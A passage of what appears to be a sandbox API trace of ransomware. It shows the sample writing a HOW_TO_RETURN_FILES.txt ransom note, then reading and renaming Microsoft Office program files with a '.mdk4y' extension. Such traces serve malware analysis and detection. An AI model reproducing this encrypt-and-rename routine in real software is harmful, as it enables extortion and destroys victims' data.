[0235.616] AreFileApisANSI () returned 1 [0235.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0235.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0235.618] GetFileType (hFile=0x12c) returned 0x1 [0235.618] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0235.618] AreFileApisANSI () returned 1 [0235.618] GetACP () returned 0x4e4 [0235.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDSBASE.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PDSBASE.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0235.619] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PDSBASE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pdsbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0235.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831085000000) returned 1 [0235.620] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x755a0, lpOverlapped=0x0) returned 1 [0235.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831089500000) returned 1 [0235.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831089500000) returned 1 [0235.669] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PDSBASE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pdsbase.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PDSBASE.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pdsbase.dll.mdk4y")) returned 1 [0235.670] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0235.670] AreFileApisANSI () returned 1 [0235.670] GetACP () returned 0x4e4 [0235.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE.DLL", cchWideChar=6, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PE.DLLE.DLL", lpUsedDefaultChar=0x37dfd8) returned 6 [0235.671] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0235.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831090200000) returned 1 [0235.672] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xecd70, lpOverlapped=0x0) returned 1 [0235.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831092900000) returned 1 [0235.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831092900000) returned 1 [0235.706] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pe.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PE.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pe.dll.mdk4y")) returned 1 [0235.708] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0235.718] AreFileApisANSI () returned 1 [0235.718] GetACP () returned 0x4e4 [0235.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PEOPLEDATAHANDLER.DLL", cchWideChar=21, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PEOPLEDATAHANDLER.DLLll", lpUsedDefaultChar=0x37dfd8) returned 21 [0235.718] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PEOPLEDATAHANDLER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\peopledatahandler.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0235.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831095000000) returned 1 [0235.720] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x185a0, lpOverlapped=0x0) returned 1 [0235.737] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831096700000) returned 1 [0235.737] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831096700000) returned 1 [0235.739] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PEOPLEDATAHANDLER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\peopledatahandler.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PEOPLEDATAHANDLER.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\peopledatahandler.dll.mdk4y")) returned 1 [0235.741] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0235.741] AreFileApisANSI () returned 1 [0235.742] GetACP () returned 0x4e4 [0235.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PJCALEND.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PJCALEND.DLLNDLER.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0235.742] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PJCALEND.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pjcalend.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0235.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831097200000) returned 1 [0235.742] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x2e960, lpOverlapped=0x0) returned 1 [0235.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831099600000) returned 1 [0235.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831099600000) returned 1 [0235.767] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PJCALEND.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pjcalend.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PJCALEND.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pjcalend.dll.mdk4y")) returned 1 [0235.770] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0235.770] AreFileApisANSI () returned 1 [0235.770] GetACP () returned 0x4e4 [0235.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POWERPNT.EXE", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="POWERPNT.EXE", lpUsedDefaultChar=0x37dfd8) returned 12 [0235.770] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0235.771] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831100100000) returned 1 [0235.771] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0235.817] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831104700000) returned 1 [0235.817] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831104700000) returned 1 [0235.861] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.mdk4y")) returned 1 [0235.864] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0235.864] AreFileApisANSI () returned 1 [0235.864] GetACP () returned 0x4e4 [0235.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="powerpnt.exe.manifest", cchWideChar=21, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="powerpnt.exe.manifest", lpUsedDefaultChar=0x37dfd8) returned 21 [0235.864] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0235.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831109500000) returned 1 [0235.865] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xdb2, lpOverlapped=0x0) returned 1 [0235.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831109900000) returned 1 [0235.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831109900000) returned 1 [0235.870] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.manifest.mdk4y")) returned 1 [0235.871] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0235.871] AreFileApisANSI () returned 1 [0235.871] GetACP () returned 0x4e4 [0235.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PPCORE.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PPCORE.DLLxe.manifest", lpUsedDefaultChar=0x37dfd8) returned 10 [0235.871] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ppcore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0235.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831110200000) returned 1 [0235.872] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0235.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831113900000) returned 1 [0235.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831113900000) returned 1 [0235.917] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ppcore.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ppcore.dll.mdk4y")) returned 1 [0235.919] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0235.919] AreFileApisANSI () returned 1 [0235.919] GetACP () returned 0x4e4 [0235.919] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PPSLAX.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PPSLAX.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0235.919] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPSLAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ppslax.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0235.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831115300000) returned 1 [0235.923] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x77d90, lpOverlapped=0x0) returned 1 [0235.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831117800000) returned 1 [0235.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831117900000) returned 1 [0235.987] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPSLAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ppslax.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPSLAX.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ppslax.dll.mdk4y")) returned 1 [0235.988] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0235.988] AreFileApisANSI () returned 1 [0235.988] GetACP () returned 0x4e4 [0235.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PPTICO.EXE", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PPTICO.EXE", lpUsedDefaultChar=0x37dfd8) returned 10 [0235.988] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\pptico.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0235.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831122000000) returned 1 [0235.990] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0236.026] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831125600000) returned 1 [0236.026] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831125600000) returned 1 [0236.064] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\pptico.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pptico.exe.mdk4y")) returned 1 [0236.067] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0236.067] AreFileApisANSI () returned 1 [0236.067] GetACP () returned 0x4e4 [0236.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PPTIRM.XML", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PPTIRM.XML", lpUsedDefaultChar=0x37dfd8) returned 10 [0236.067] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0236.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831129800000) returned 1 [0236.068] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x13764, lpOverlapped=0x0) returned 1 [0236.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831132100000) returned 1 [0236.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831132100000) returned 1 [0236.092] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml.mdk4y")) returned 1 [0236.094] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0236.094] AreFileApisANSI () returned 1 [0236.094] GetACP () returned 0x4e4 [0236.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PPTIRMV.XML", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PPTIRMV.XMLe.manifest", lpUsedDefaultChar=0x37dfd8) returned 11 [0236.094] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0236.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831132500000) returned 1 [0236.095] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x135b4, lpOverlapped=0x0) returned 1 [0236.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831132700000) returned 1 [0236.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831132700000) returned 1 [0236.098] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml.mdk4y")) returned 1 [0236.099] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0236.099] AreFileApisANSI () returned 1 [0236.099] GetACP () returned 0x4e4 [0236.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROJIMPT.EXE", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PROJIMPT.EXE.manifest", lpUsedDefaultChar=0x37dfd8) returned 12 [0236.099] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROJIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\projimpt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0236.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831133000000) returned 1 [0236.100] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x14988, lpOverlapped=0x0) returned 1 [0236.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831134200000) returned 1 [0236.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831134200000) returned 1 [0236.113] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROJIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\projimpt.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROJIMPT.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\projimpt.exe.mdk4y")) returned 1 [0236.114] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0236.115] AreFileApisANSI () returned 1 [0236.115] GetACP () returned 0x4e4 [0236.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROJMODL.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PROJMODL.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0236.115] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROJMODL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\projmodl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0236.117] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831134700000) returned 1 [0236.117] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x29d60, lpOverlapped=0x0) returned 1 [0236.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831139400000) returned 1 [0236.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831139400000) returned 1 [0236.166] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROJMODL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\projmodl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROJMODL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\projmodl.dll.mdk4y")) returned 1 [0236.167] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0236.167] AreFileApisANSI () returned 1 [0236.167] GetACP () returned 0x4e4 [0236.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROOF", cchWideChar=5, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PROOFODL.DLL", lpUsedDefaultChar=0x37dfd8) returned 5 [0236.167] AreFileApisANSI () returned 1 [0236.167] GetACP () returned 0x4e4 [0236.167] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=49, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned 49 [0236.193] AreFileApisANSI () returned 1 [0236.193] GetACP () returned 0x4e4 [0236.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0236.193] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.193] AreFileApisANSI () returned 1 [0236.193] GetACP () returned 0x4e4 [0236.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37df4c) returned 2 [0236.193] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.194] AreFileApisANSI () returned 1 [0236.194] GetACP () returned 0x4e4 [0236.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="1033\\", lpUsedDefaultChar=0x37df4c) returned 4 [0236.194] AreFileApisANSI () returned 1 [0236.194] GetACP () returned 0x4e4 [0236.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=54, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\쏸j툐i2") returned 54 [0236.194] AreFileApisANSI () returned 1 [0236.194] GetACP () returned 0x4e4 [0236.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, 